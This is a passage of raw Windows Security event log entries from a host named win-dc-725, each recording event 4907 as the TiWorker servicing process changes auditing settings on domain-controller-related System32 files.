C:\Windows\System32\lsadb.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247643 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ldifde.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247642 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\KdsSvc.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247641 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\kdcsvc.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247640 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\kdcpw.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247639 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ismserv.exe - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247638 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\ismip.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247637 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gptedit.msc - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247636 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\GPRSoP.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247635 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\GPOAdminCustom.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247634 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\GPOAdminCommon.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247633 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\GPOAdmin.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247632 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gpmgmt.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247631 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gpme.msc - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247630 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gpme.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247629 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\gpmc.msc - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247628 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsrolesrv.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247627 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dsamain.exe - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247626 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsutil.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247625 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfssvc.exe - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247624 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrs.exe - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247623 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrress.dll - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247622 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrPropagationReport.xsl - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247621 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrmig.exe - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247620 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\DfsrHelper.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247619 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrHealthReport.xsl - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247618 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\DfsRes.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247617 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsrapi.dll - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247616 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsncimprov.dll - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247615 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfsfrsHost.exe - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247614 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\DfsDiag.exe - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247613 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\dfscmd.exe - Handle ID: 0xcd4 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247612 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\DefaultDCCloneAllowList.XML - Handle ID: 0xde8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247611 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\DCCloneConfigSchema.xsd - Handle ID: 0xcd8 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247610 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\CustomDCCloneAllowListSchema.xsd - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: 